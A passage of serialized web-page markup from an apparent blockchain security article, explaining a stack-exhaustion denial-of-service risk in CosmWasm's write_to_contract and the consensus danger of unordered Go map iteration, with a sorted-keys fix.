",{"type":24,"tag":135,"props":83514,"children":83516},{"className":83515},[],[83517],{"type":29,"value":83518},"\"allocate\"",{"type":29,"value":41},{"type":24,"tag":25,"props":83521,"children":83522},{},[83523],{"type":24,"tag":32,"props":83524,"children":83527},{"href":83525,"rel":83526},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[36],[83528],{"type":29,"value":83529},"Permalink for snippet",{"type":24,"tag":261,"props":83531,"children":83533},{"code":83532,"language":10717,"meta":7,"className":10718,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[83534],{"type":24,"tag":135,"props":83535,"children":83536},{"__ignoreMap":7},[83537,83606,83654,83682,83711,83760,83834,83879,83902,83947,83954,84011,84030],{"type":24,"tag":271,"props":83538,"children":83539},{"class":273,"line":274},[83540,83544,83549,83553,83558,83562,83567,83571,83575,83579,83584,83588,83593,83597,83602],{"type":24,"tag":271,"props":83541,"children":83542},{"style":278},[83543],{"type":29,"value":27955},{"type":24,"tag":271,"props":83545,"children":83546},{"style":598},[83547],{"type":29,"value":83548}," write_to_contract",{"type":24,"tag":271,"props":83550,"children":83551},{"style":288},[83552],{"type":29,"value":801},{"type":24,"tag":271,"props":83554,"children":83555},{"style":3887},[83556],{"type":29,"value":83557},"A",{"type":24,"tag":271,"props":83559,"children":83560},{"style":624},[83561],{"type":29,"value":12210},{"type":24,"tag":271,"props":83563,"children":83564},{"style":3887},[83565],{"type":29,"value":83566}," BackendApi",{"type":24,"tag":271,"props":83568,"children":83569},{"style":288},[83570],{"type":29,"value":158},{"type":24,"tag":271,"props":83572,"children":83573},{"style":3887},[83574],{"type":29,"value":29735},{"type":24,"tag":271,"props":83576,"children":83577},{"style":624},[83578],{"type":29,"value":12210},{"type":24,"tag":271,"props":83580,"children":83581},{"style":3887},[83582],{"type":29,"value":83583}," Storage",{"type":24,"tag":271,"props":83585,"children":83586},{"style":288},[83587],{"type":29,"value":158},{"type":24,"tag":271,"props":83589,"children":83590},{"style":3887},[83591],{"type":29,"value":83592},"Q",{"type":24,"tag":271,"props":83594,"children":83595},{"style":624},[83596],{"type":29,"value":12210},{"type":24,"tag":271,"props":83598,"children":83599},{"style":3887},[83600],{"type":29,"value":83601}," Querier",{"type":24,"tag":271,"props":83603,"children":83604},{"style":288},[83605],{"type":29,"value":14305},{"type":24,"tag":271,"props":83607,"children":83608},{"class":273,"line":284},[83609,83613,83617,83621,83626,83630,83634,83638,83642,83646,83650],{"type":24,"tag":271,"props":83610,"children":83611},{"style":630},[83612],{"type":29,"value":11563},{"type":24,"tag":271,"props":83614,"children":83615},{"style":624},[83616],{"type":29,"value":12210},{"type":24,"tag":271,"props":83618,"children":83619},{"style":624},[83620],{"type":29,"value":14858},{"type":24,"tag":271,"props":83622,"children":83623},{"style":3887},[83624],{"type":29,"value":83625},"Environment",{"type":24,"tag":271,"props":83627,"children":83628},{"style":288},[83629],{"type":29,"value":801},{"type":24,"tag":271,"props":83631,"children":83632},{"style":3887},[83633],{"type":29,"value":83557},{"type":24,"tag":271,"props":83635,"children":83636},{"style":288},[83637],{"type":29,"value":158},{"type":24,"tag":271,"props":83639,"children":83640},{"style":3887},[83641],{"type":29,"value":29735},{"type":24,"tag":271,"props":83643,"children":83644},{"style":288},[83645],{"type":29,"value":158},{"type":24,"tag":271,"props":83647,"children":83648},{"style":3887},[83649],{"type":29,"value":83592},{"type":24,"tag":271,"props":83651,"children":83652},{"style":288},[83653],{"type":29,"value":13855},{"type":24,"tag":271,"props":83655,"children":83656},{"class":273,"line":294},[83657,83662,83666,83670,83674,83678],{"type":24,"tag":271,"props":83658,"children":83659},{"style":630},[83660],{"type":29,"value":83661}," input",{"type":24,"tag":271,"props":83663,"children":83664},{"style":624},[83665],{"type":29,"value":12210},{"type":24,"tag":271,"props":83667,"children":83668},{"style":624},[83669],{"type":29,"value":14858},{"type":24,"tag":271,"props":83671,"children":83672},{"style":288},[83673],{"type":29,"value":4520},{"type":24,"tag":271,"props":83675,"children":83676},{"style":3887},[83677],{"type":29,"value":11148},{"type":24,"tag":271,"props":83679,"children":83680},{"style":288},[83681],{"type":29,"value":21961},{"type":24,"tag":271,"props":83683,"children":83684},{"class":273,"line":303},[83685,83689,83693,83698,83702,83707],{"type":24,"tag":271,"props":83686,"children":83687},{"style":288},[83688],{"type":29,"value":8823},{"type":24,"tag":271,"props":83690,"children":83691},{"style":624},[83692],{"type":29,"value":786},{"type":24,"tag":271,"props":83694,"children":83695},{"style":3887},[83696],{"type":29,"value":83697}," VmResult",{"type":24,"tag":271,"props":83699,"children":83700},{"style":288},[83701],{"type":29,"value":801},{"type":24,"tag":271,"props":83703,"children":83704},{"style":3887},[83705],{"type":29,"value":83706},"u32",{"type":24,"tag":271,"props":83708,"children":83709},{"style":288},[83710],{"type":29,"value":14997},{"type":24,"tag":271,"props":83712,"children":83713},{"class":273,"line":312},[83714,83718,83723,83727,83732,83736,83740,83744,83748,83752,83756],{"type":24,"tag":271,"props":83715,"children":83716},{"style":278},[83717],{"type":29,"value":10738},{"type":24,"tag":271,"props":83719,"children":83720},{"style":630},[83721],{"type":29,"value":83722}," out_size",{"type":24,"tag":271,"props":83724,"children":83725},{"style":624},[83726],{"type":29,"value":1712},{"type":24,"tag":271,"props":83728,"children":83729},{"style":598},[83730],{"type":29,"value":83731}," to_u32",{"type":24,"tag":271,"props":83733,"children":83734},{"style":288},[83735],{"type":29,"value":606},{"type":24,"tag":271,"props":83737,"children":83738},{"style":630},[83739],{"type":29,"value":16082},{"type":24,"tag":271,"props":83741,"children":83742},{"style":624},[83743],{"type":29,"value":41},{"type":24,"tag":271,"props":83745,"children":83746},{"style":598},[83747],{"type":29,"value":8335},{"type":24,"tag":271,"props":83749,"children":83750},{"style":288},[83751],{"type":29,"value":49629},{"type":24,"tag":271,"props":83753,"children":83754},{"style":624},[83755],{"type":29,"value":10887},{"type":24,"tag":271,"props":83757,"children":83758},{"style":288},[83759],{"type":29,"value":1069},{"type":24,"tag":271,"props":83761,"children":83762},{"class":273,"line":321},[83763,83767,83771,83775,83779,83783,83788,83792,83796,83800,83804,83808,83813,83817,83821,83826,83830],{"type":24,"tag":271,"props":83764,"children":83765},{"style":278},[83766],{"type":29,"value":10738},{"type":24,"tag":271,"props":83768,"children":83769},{"style":630},[83770],{"type":29,"value":16869},{"type":24,"tag":271,"props":83772,"children":83773},{"style":624},[83774],{"type":29,"value":1712},{"type":24,"tag":271,"props":83776,"children":83777},{"style":630},[83778],{"type":29,"value":50623},{"type":24,"tag":271,"props":83780,"children":83781},{"style":624},[83782],{"type":29,"value":41},{"type":24,"tag":271,"props":83784,"children":83785},{"style":598},[83786],{"type":29,"value":83787},"call_function1",{"type":24,"tag":271,"props":83789,"children":83790},{"style":288},[83791],{"type":29,"value":606},{"type":24,"tag":271,"props":83793,"children":83794},{"style":378},[83795],{"type":29,"value":83518},{"type":24,"tag":271,"props":83797,"children":83798},{"style":288},[83799],{"type":29,"value":158},{"type":24,"tag":271,"props":83801,"children":83802},{"style":624},[83803],{"type":29,"value":1137},{"type":24,"tag":271,"props":83805,"children":83806},{"style":288},[83807],{"type":29,"value":4520},{"type":24,"tag":271,"props":83809,"children":83810},{"style":630},[83811],{"type":29,"value":83812},"out_size",{"type":24,"tag":271,"props":83814,"children":83815},{"style":624},[83816],{"type":29,"value":41},{"type":24,"tag":271,"props":83818,"children":83819},{"style":598},[83820],{"type":29,"value":22583},{"type":24,"tag":271,"props":83822,"children":83823},{"style":288},[83824],{"type":29,"value":83825},"()])",{"type":24,"tag":271,"props":83827,"children":83828},{"style":624},[83829],{"type":29,"value":10887},{"type":24,"tag":271,"props":83831,"children":83832},{"style":288},[83833],{"type":29,"value":1069},{"type":24,"tag":271,"props":83835,"children":83836},{"class":273,"line":330},[83837,83841,83846,83850,83855,83859,83863,83867,83871,83875],{"type":24,"tag":271,"props":83838,"children":83839},{"style":278},[83840],{"type":29,"value":10738},{"type":24,"tag":271,"props":83842,"children":83843},{"style":630},[83844],{"type":29,"value":83845}," target_ptr",{"type":24,"tag":271,"props":83847,"children":83848},{"style":624},[83849],{"type":29,"value":1712},{"type":24,"tag":271,"props":83851,"children":83852},{"style":598},[83853],{"type":29,"value":83854}," ref_to_u32",{"type":24,"tag":271,"props":83856,"children":83857},{"style":288},[83858],{"type":29,"value":606},{"type":24,"tag":271,"props":83860,"children":83861},{"style":624},[83862],{"type":29,"value":1137},{"type":24,"tag":271,"props":83864,"children":83865},{"style":630},[83866],{"type":29,"value":16793},{"type":24,"tag":271,"props":83868,"children":83869},{"style":288},[83870],{"type":29,"value":2693},{"type":24,"tag":271,"props":83872,"children":83873},{"style":624},[83874],{"type":29,"value":10887},{"type":24,"tag":271,"props":83876,"children":83877},{"style":288},[83878],{"type":29,"value":1069},{"type":24,"tag":271,"props":83880,"children":83881},{"class":273,"line":339},[83882,83886,83890,83894,83898],{"type":24,"tag":271,"props":83883,"children":83884},{"style":749},[83885],{"type":29,"value":5025},{"type":24,"tag":271,"props":83887,"children":83888},{"style":630},[83889],{"type":29,"value":83845},{"type":24,"tag":271,"props":83891,"children":83892},{"style":624},[83893],{"type":29,"value":1031},{"type":24,"tag":271,"props":83895,"children":83896},{"style":477},[83897],{"type":29,"value":767},{"type":24,"tag":271,"props":83899,"children":83900},{"style":288},[83901],{"type":29,"value":7145},{"type":24,"tag":271,"props":83903,"children":83904},{"class":273,"line":347},[83905,83909,83913,83917,83922,83926,83931,83935,83939,83943],{"type":24,"tag":271,"props":83906,"children":83907},{"style":749},[83908],{"type":29,"value":8905},{"type":24,"tag":271,"props":83910,"children":83911},{"style":3887},[83912],{"type":29,"value":23446},{"type":24,"tag":271,"props":83914,"children":83915},{"style":288},[83916],{"type":29,"value":606},{"type":24,"tag":271,"props":83918,"children":83919},{"style":3887},[83920],{"type":29,"value":83921},"CommunicationError",{"type":24,"tag":271,"props":83923,"children":83924},{"style":624},[83925],{"type":29,"value":11207},{"type":24,"tag":271,"props":83927,"children":83928},{"style":598},[83929],{"type":29,"value":83930},"zero_address",{"type":24,"tag":271,"props":83932,"children":83933},{"style":288},[83934],{"type":29,"value":21579},{"type":24,"tag":271,"props":83936,"children":83937},{"style":624},[83938],{"type":29,"value":41},{"type":24,"tag":271,"props":83940,"children":83941},{"style":598},[83942],{"type":29,"value":22583},{"type":24,"tag":271,"props":83944,"children":83945},{"style":288},[83946],{"type":29,"value":23122},{"type":24,"tag":271,"props":83948,"children":83949},{"class":273,"line":356},[83950],{"type":24,"tag":271,"props":83951,"children":83952},{"style":288},[83953],{"type":29,"value":4385},{"type":24,"tag":271,"props":83955,"children":83956},{"class":273,"line":365},[83957,83962,83966,83970,83974,83978,83982,83986,83991,83995,83999,84003,84007],{"type":24,"tag":271,"props":83958,"children":83959},{"style":598},[83960],{"type":29,"value":83961}," write_region",{"type":24,"tag":271,"props":83963,"children":83964},{"style":288},[83965],{"type":29,"value":606},{"type":24,"tag":271,"props":83967,"children":83968},{"style":624},[83969],{"type":29,"value":1137},{"type":24,"tag":271,"props":83971,"children":83972},{"style":630},[83973],{"type":29,"value":43358},{"type":24,"tag":271,"props":83975,"children":83976},{"style":624},[83977],{"type":29,"value":41},{"type":24,"tag":271,"props":83979,"children":83980},{"style":598},[83981],{"type":29,"value":82762},{"type":24,"tag":271,"props":83983,"children":83984},{"style":288},[83985],{"type":29,"value":26067},{"type":24,"tag":271,"props":83987,"children":83988},{"style":630},[83989],{"type":29,"value":83990},"target_ptr",{"type":24,"tag":271,"props":83992,"children":83993},{"style":288},[83994],{"type":29,"value":158},{"type":24,"tag":271,"props":83996,"children":83997},{"style":630},[83998],{"type":29,"value":16082},{"type":24,"tag":271,"props":84000,"children":84001},{"style":288},[84002],{"type":29,"value":2693},{"type":24,"tag":271,"props":84004,"children":84005},{"style":624},[84006],{"type":29,"value":10887},{"type":24,"tag":271,"props":84008,"children":84009},{"style":288},[84010],{"type":29,"value":1069},{"type":24,"tag":271,"props":84012,"children":84013},{"class":273,"line":374},[84014,84018,84022,84026],{"type":24,"tag":271,"props":84015,"children":84016},{"style":3887},[84017],{"type":29,"value":22031},{"type":24,"tag":271,"props":84019,"children":84020},{"style":288},[84021],{"type":29,"value":606},{"type":24,"tag":271,"props":84023,"children":84024},{"style":630},[84025],{"type":29,"value":83990},{"type":24,"tag":271,"props":84027,"children":84028},{"style":288},[84029],{"type":29,"value":694},{"type":24,"tag":271,"props":84031,"children":84032},{"class":273,"line":384},[84033],{"type":24,"tag":271,"props":84034,"children":84035},{"style":288},[84036],{"type":29,"value":1171},{"type":24,"tag":25,"props":84038,"children":84039},{},[84040,84042,84048,84050,84055],{"type":29,"value":84041},"As users have complete control over ",{"type":24,"tag":135,"props":84043,"children":84045},{"className":84044},[],[84046],{"type":29,"value":84047},"allocate",{"type":29,"value":84049},", there is a possibility to call back ",{"type":24,"tag":135,"props":84051,"children":84053},{"className":84052},[],[84054],{"type":29,"value":83510},{"type":29,"value":84056}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":84058,"children":84059},{},[84060,84062,84069],{"type":29,"value":84061},"Additional real-world examples include ",{"type":24,"tag":32,"props":84063,"children":84066},{"href":84064,"rel":84065},"https://github.com/cosmos/cosmos-sdk/issues/16676",[36],[84067],{"type":29,"value":84068},"not returning proper values for malformed txs",{"type":29,"value":41},{"type":24,"tag":62,"props":84071,"children":84073},{"id":84072},"order-was-the-dream-of-man",[84074],{"type":29,"value":84075},"Order Was the Dream of Man",{"type":24,"tag":25,"props":84077,"children":84078},{},[84079],{"type":29,"value":84080},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":84082,"children":84083},{},[84084],{"type":29,"value":84085},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":261,"props":84087,"children":84089},{"code":84088,"language":82954,"meta":7,"className":82955,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[84090],{"type":24,"tag":135,"props":84091,"children":84092},{"__ignoreMap":7},[84093,84126,84133,84162,84199,84228,84249,84261,84298,84306,84313,84320],{"type":24,"tag":271,"props":84094,"children":84095},{"class":273,"line":274},[84096,84100,84105,84109,84113,84117,84121],{"type":24,"tag":271,"props":84097,"children":84098},{"style":278},[84099],{"type":29,"value":40427},{"type":24,"tag":271,"props":84101,"children":84102},{"style":3887},[84103],{"type":29,"value":84104}," ObjectMap",{"type":24,"tag":271,"props":84106,"children":84107},{"style":278},[84108],{"type":29,"value":57331},{"type":24,"tag":271,"props":84110,"children":84111},{"style":288},[84112],{"type":29,"value":4520},{"type":24,"tag":271,"props":84114,"children":84115},{"style":3887},[84116],{"type":29,"value":37341},{"type":24,"tag":271,"props":84118,"children":84119},{"style":288},[84120],{"type":29,"value":23108},{"type":24,"tag":271,"props":84122,"children":84123},{"style":3887},[84124],{"type":29,"value":84125},"string\n",{"type":24,"tag":271,"props":84127,"children":84128},{"class":273,"line":284},[84129],{"type":24,"tag":271,"props":84130,"children":84131},{"emptyLinePlaceholder":16},[84132],{"type":29,"value":327},{"type":24,"tag":271,"props":84134,"children":84135},{"class":273,"line":294},[84136,84140,84145,84149,84154,84158],{"type":24,"tag":271,"props":84137,"children":84138},{"style":278},[84139],{"type":29,"value":83090},{"type":24,"tag":271,"props":84141,"children":84142},{"style":598},[84143],{"type":29,"value":84144}," EmitEntries",{"type":24,"tag":271,"props":84146,"children":84147},{"style":288},[84148],{"type":29,"value":606},{"type":24,"tag":271,"props":84150,"children":84151},{"style":630},[84152],{"type":29,"value":84153},"objectMap",{"type":24,"tag":271,"props":84155,"children":84156},{"style":3887},[84157],{"type":29,"value":84104},{"type":24,"tag":271,"props":84159,"children":84160},{"style":288},[84161],{"type":29,"value":919},{"type":24,"tag":271,"props":84163,"children":84164},{"class":273,"line":303},[84165,84169,84173,84177,84181,84185,84190,84195],{"type":24,"tag":271,"props":84166,"children":84167},{"style":749},[84168],{"type":29,"value":4149},{"type":24,"tag":271,"props":84170,"children":84171},{"style":630},[84172],{"type":29,"value":13648},{"type":24,"tag":271,"props":84174,"children":84175},{"style":288},[84176],{"type":29,"value":158},{"type":24,"tag":271,"props":84178,"children":84179},{"style":630},[84180],{"type":29,"value":46820},{"type":24,"tag":271,"props":84182,"children":84183},{"style":624},[84184],{"type":29,"value":83206},{"type":24,"tag":271,"props":84186,"children":84187},{"style":749},[84188],{"type":29,"value":84189}," range",{"type":24,"tag":271,"props":84191,"children":84192},{"style":630},[84193],{"type":29,"value":84194}," objectMap",{"type":24,"tag":271,"props":84196,"children":84197},{"style":288},[84198],{"type":29,"value":7145},{"type":24,"tag":271,"props":84200,"children":84201},{"class":273,"line":312},[84202,84206,84210,84215,84219,84224],{"type":24,"tag":271,"props":84203,"children":84204},{"style":630},[84205],{"type":29,"value":33862},{"type":24,"tag":271,"props":84207,"children":84208},{"style":288},[84209],{"type":29,"value":41},{"type":24,"tag":271,"props":84211,"children":84212},{"style":630},[84213],{"type":29,"value":84214},"EventManager",{"type":24,"tag":271,"props":84216,"children":84217},{"style":288},[84218],{"type":29,"value":41},{"type":24,"tag":271,"props":84220,"children":84221},{"style":598},[84222],{"type":29,"value":84223},"EmitEvent",{"type":24,"tag":271,"props":84225,"children":84226},{"style":288},[84227],{"type":29,"value":4028},{"type":24,"tag":271,"props":84229,"children":84230},{"class":273,"line":321},[84231,84236,84240,84245],{"type":24,"tag":271,"props":84232,"children":84233},{"style":630},[84234],{"type":29,"value":84235}," sdk",{"type":24,"tag":271,"props":84237,"children":84238},{"style":288},[84239],{"type":29,"value":41},{"type":24,"tag":271,"props":84241,"children":84242},{"style":598},[84243],{"type":29,"value":84244},"NewEvent",{"type":24,"tag":271,"props":84246,"children":84247},{"style":288},[84248],{"type":29,"value":4028},{"type":24,"tag":271,"props":84250,"children":84251},{"class":273,"line":330},[84252,84257],{"type":24,"tag":271,"props":84253,"children":84254},{"style":378},[84255],{"type":29,"value":84256}," \"MapContext\"",{"type":24,"tag":271,"props":84258,"children":84259},{"style":288},[84260],{"type":29,"value":638},{"type":24,"tag":271,"props":84262,"children":84263},{"class":273,"line":339},[84264,84269,84273,84278,84282,84286,84290,84294],{"type":24,"tag":271,"props":84265,"children":84266},{"style":630},[84267],{"type":29,"value":84268}," sdk",{"type":24,"tag":271,"props":84270,"children":84271},{"style":288},[84272],{"type":29,"value":41},{"type":24,"tag":271,"props":84274,"children":84275},{"style":598},[84276],{"type":29,"value":84277},"NewAttribute",{"type":24,"tag":271,"props":84279,"children":84280},{"style":288},[84281],{"type":29,"value":606},{"type":24,"tag":271,"props":84283,"children":84284},{"style":630},[84285],{"type":29,"value":78944},{"type":24,"tag":271,"props":84287,"children":84288},{"style":288},[84289],{"type":29,"value":158},{"type":24,"tag":271,"props":84291,"children":84292},{"style":630},[84293],{"type":29,"value":46820},{"type":24,"tag":271,"props":84295,"children":84296},{"style":288},[84297],{"type":29,"value":14453},{"type":24,"tag":271,"props":84299,"children":84300},{"class":273,"line":347},[84301],{"type":24,"tag":271,"props":84302,"children":84303},{"style":288},[84304],{"type":29,"value":84305}," )\n",{"type":24,"tag":271,"props":84307,"children":84308},{"class":273,"line":356},[84309],{"type":24,"tag":271,"props":84310,"children":84311},{"style":288},[84312],{"type":29,"value":75108},{"type":24,"tag":271,"props":84314,"children":84315},{"class":273,"line":365},[84316],{"type":24,"tag":271,"props":84317,"children":84318},{"style":288},[84319],{"type":29,"value":4385},{"type":24,"tag":271,"props":84321,"children":84322},{"class":273,"line":374},[84323],{"type":24,"tag":271,"props":84324,"children":84325},{"style":288},[84326],{"type":29,"value":1171},{"type":24,"tag":25,"props":84328,"children":84329},{},[84330],{"type":29,"value":84331},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":10670,"props":84333,"children":84334},{},[84335],{"type":24,"tag":25,"props":84336,"children":84337},{},[84338],{"type":29,"value":84339},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":84341,"children":84342},{},[84343,84345,84350],{"type":29,"value":84344},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":135,"props":84346,"children":84348},{"className":84347},[],[84349],{"type":29,"value":73889},{"type":29,"value":84351}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":261,"props":84353,"children":84355},{"code":84354,"language":82954,"meta":7,"className":82955,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[84356],{"type":24,"tag":135,"props":84357,"children":84358},{"__ignoreMap":7},[84359,84390,84397,84424,84444,84471,84507,84514,84543,84550,84585,84612,84631,84642,84686,84693,84700,84707],{"type":24,"tag":271,"props":84360,"children":84361},{"class":273,"line":274},[84362,84366,84370,84374,84378,84382,84386],{"type":24,"tag":271,"props":84363,"children":84364},{"style":278},[84365],{"type":29,"value":40427},{"type":24,"tag":271,"props":84367,"children":84368},{"style":3887},[84369],{"type":29,"value":84104},{"type":24,"tag":271,"props":84371,"children":84372},{"style":278},[84373],{"type":29,"value":57331},{"type":24,"tag":271,"props":84375,"children":84376},{"style":288},[84377],{"type":29,"value":4520},{"type":24,"tag":271,"props":84379,"children":84380},{"style":3887},[84381],{"type":29,"value":37341},{"type":24,"tag":271,"props":84383,"children":84384},{"style":288},[84385],{"type":29,"value":23108},{"type":24,"tag":271,"props":84387,"children":84388},{"style":3887},[84389],{"type":29,"value":84125},{"type":24,"tag":271,"props":84391,"children":84392},{"class":273,"line":284},[84393],{"type":24,"tag":271,"props":84394,"children":84395},{"emptyLinePlaceholder":16},[84396],{"type":29,"value":327},{"type":24,"tag":271,"props":84398,"children":84399},{"class":273,"line":294},[84400,84404,84408,84412,84416,84420],{"type":24,"tag":271,"props":84401,"children":84402},{"style":278},[84403],{"type":29,"value":83090},{"type":24,"tag":271,"props":84405,"children":84406},{"style":598},[84407],{"type":29,"value":84144},{"type":24,"tag":271,"props":84409,"children":84410},{"style":288},[84411],{"type":29,"value":606},{"type":24,"tag":271,"props":84413,"children":84414},{"style":630},[84415],{"type":29,"value":84153},{"type":24,"tag":271,"props":84417,"children":84418},{"style":3887},[84419],{"type":29,"value":84104},{"type":24,"tag":271,"props":84421,"children":84422},{"style":288},[84423],{"type":29,"value":919},{"type":24,"tag":271,"props":84425,"children":84426},{"class":273,"line":303},[84427,84432,84436,84440],{"type":24,"tag":271,"props":84428,"children":84429},{"style":278},[84430],{"type":29,"value":84431}," var",{"type":24,"tag":271,"props":84433,"children":84434},{"style":630},[84435],{"type":29,"value":29066},{"type":24,"tag":271,"props":84437,"children":84438},{"style":288},[84439],{"type":29,"value":83017},{"type":24,"tag":271,"props":84441,"children":84442},{"style":3887},[84443],{"type":29,"value":84125},{"type":24,"tag":271,"props":84445,"children":84446},{"class":273,"line":312},[84447,84451,84455,84459,84463,84467],{"type":24,"tag":271,"props":84448,"children":84449},{"style":749},[84450],{"type":29,"value":4149},{"type":24,"tag":271,"props":84452,"children":84453},{"style":630},[84454],{"type":29,"value":13648},{"type":24,"tag":271,"props":84456,"children":84457},{"style":624},[84458],{"type":29,"value":83206},{"type":24,"tag":271,"props":84460,"children":84461},{"style":749},[84462],{"type":29,"value":84189},{"type":24,"tag":271,"props":84464,"children":84465},{"style":630},[84466],{"type":29,"value":84194},{"type":24,"tag":271,"props":84468,"children":84469},{"style":288},[84470],{"type":29,"value":7145},{"type":24,"tag":271,"props":84472,"children":84473},{"class":273,"line":321},[84474,84478,84482,84487,84491,84495,84499,84503],{"type":24,"tag":271,"props":84475,"children":84476},{"style":630},[84477],{"type":29,"value":33007},{"type":24,"tag":271,"props":84479,"children":84480},{"style":624},[84481],{"type":29,"value":1712},{"type":24,"tag":271,"props":84483,"children":84484},{"style":598},[84485],{"type":29,"value":84486}," append",{"type":24,"tag":271,"props":84488,"children":84489},{"style":288},[84490],{"type":29,"value":606},{"type":24,"tag":271,"props":84492,"children":84493},{"style":630},[84494],{"type":29,"value":28670},{"type":24,"tag":271,"props":84496,"children":84497},{"style":288},[84498],{"type":29,"value":158},{"type":24,"tag":271,"props":84500,"children":84501},{"style":630},[84502],{"type":29,"value":78944},{"type":24,"tag":271,"props":84504,"children":84505},{"style":288},[84506],{"type":29,"value":694},{"type":24,"tag":271,"props":84508,"children":84509},{"class":273,"line":330},[84510],{"type":24,"tag":271,"props":84511,"children":84512},{"style":288},[84513],{"type":29,"value":4385},{"type":24,"tag":271,"props":84515,"children":84516},{"class":273,"line":339},[84517,84522,84526,84531,84535,84539],{"type":24,"tag":271,"props":84518,"children":84519},{"style":630},[84520],{"type":29,"value":84521}," sort",{"type":24,"tag":271,"props":84523,"children":84524},{"style":288},[84525],{"type":29,"value":41},{"type":24,"tag":271,"props":84527,"children":84528},{"style":598},[84529],{"type":29,"value":84530},"Strings",{"type":24,"tag":271,"props":84532,"children":84533},{"style":288},[84534],{"type":29,"value":606},{"type":24,"tag":271,"props":84536,"children":84537},{"style":630},[84538],{"type":29,"value":28670},{"type":24,"tag":271,"props":84540,"children":84541},{"style":288},[84542],{"type":29,"value":694},{"type":24,"tag":271,"props":84544,"children":84545},{"class":273,"line":347},[84546],{"type":24,"tag":271,"props":84547,"children":84548},{"emptyLinePlaceholder":16},[84549],{"type":29,"value":327},{"type":24,"tag":271,"props":84551,"children":84552},{"class":273,"line":356},[84553,84557,84561,84565,84569,84573,84577,84581],{"type":24,"tag":271,"props":84554,"children":84555},{"style":749},[84556],{"type":29,"value":4149},{"type":24,"tag":271,"props":84558,"children":84559},{"style":630},[84560],{"type":29,"value":10773},{"type":24,"tag":271,"props":84562,"children":84563},{"style":288},[84564],{"type":29,"value":158},{"type":24,"tag":271,"props":84566,"children":84567},{"style":630},[84568],{"type":29,"value":78944},{"type":24,"tag":271,"props":84570,"children":84571},{"style":624},[84572],{"type":29,"value":83206},{"type":24,"tag":271,"props":84574,"children":84575},{"style":749},[84576],{"type":29,"value":84189},{"type":24,"tag":271,"props":84578,"children":84579},{"style":630},[84580],{"type":29,"value":29066},{"type":24,"tag":271,"props":84582,"children":84583},{"style":288},[84584],{"type":29,"value":7145},{"type":24,"tag":271,"props":84586,"children":84587},{"class":273,"line":365},[84588,84592,84596,84600,84604,84608],{"type":24,"tag":271,"props":84589,"children":84590},{"style":630},[84591],{"type":29,"value":33862},{"type":24,"tag":271,"props":84593,"children":84594},{"style":288},[84595],{"type":29,"value":41},{"type":24,"tag":271,"props":84597,"children":84598},{"style":630},[84599],{"type":29,"value":84214},{"type":24,"tag":271,"props":84601,"children":84602},{"style":288},[84603],{"type":29,"value":41},{"type":24,"tag":271,"props":84605,"children":84606},{"style":598},[84607],{"type":29,"value":84223},{"type":24,"tag":271,"props":84609,"children":84610},{"style":288},[84611],{"type":29,"value":4028},{"type":24,"tag":271,"props":84613,"children":84614},{"class":273,"line":374},[84615,84619,84623,84627],{"type":24,"tag":271,"props":84616,"children":84617},{"style":630},[84618],{"type":29,"value":84235},{"type":24,"tag":271,"props":84620,"children":84621},{"style":288},[84622],{"type":29,"value":41},{"type":24,"tag":271,"props":84624,"children":84625},{"style":598},[84626],{"type":29,"value":84244},{"type":24,"tag":271,"props":84628,"children":84629},{"style":288},[84630],{"type":29,"value":4028},{"type":24,"tag":271,"props":84632,"children":84633},{"class":273,"line":384},[84634,84638],{"type":24,"tag":271,"props":84635,"children":84636},{"style":378},[84637],{"type":29,"value":84256},{"type":24,"tag":271,"props":84639,"children":84640},{"style":288},[84641],{"type":29,"value":638},{"type":24,"tag":271,"props":84643,"children":84644},{"class":273,"line":393},[84645,84649,84653,84657,84661,84665,84669,84673,84677,84681],{"type":24,"tag":271,"props":84646,"children":84647},{"style":630},[84648],{"type":29,"value":84268},{"type":24,"tag":271,"props":84650,"children":84651},{"style":288},[84652],{"type":29,"value":41},{"type":24,"tag":271,"props":84654,"children":84655},{"style":598},[84656],{"type":29,"value":84277},{"type":24,"tag":271,"props":84658,"children":84659},{"style":288},[84660],{"type":29,"value":606},{"type":24,"tag":271,"props":84662,"children":84663},{"style":630},[84664],{"type":29,"value":78944},{"type":24,"tag":271,"props":84666,"children":84667},{"style":288},[84668],{"type":29,"value":158},{"type":24,"tag":271,"props":84670,"children":84671},{"style":630},[84672],{"type":29,"value":84153},{"type":24,"tag":271,"props":84674,"children":84675},{"style":288},[84676],{"type":29,"value":4520},{"type":24,"tag":271,"props":84678,"children":84679},{"style":630},[84680],{"type":29,"value":78944},{"type":24,"tag":271,"props":84682,"children":84683},{"style":288},[84684],{"type":29,"value":84685},"]),\n",{"type":24,"tag":271,"props":84687,"children":84688},{"class":273,"line":402},[84689],{"type":24,"tag":271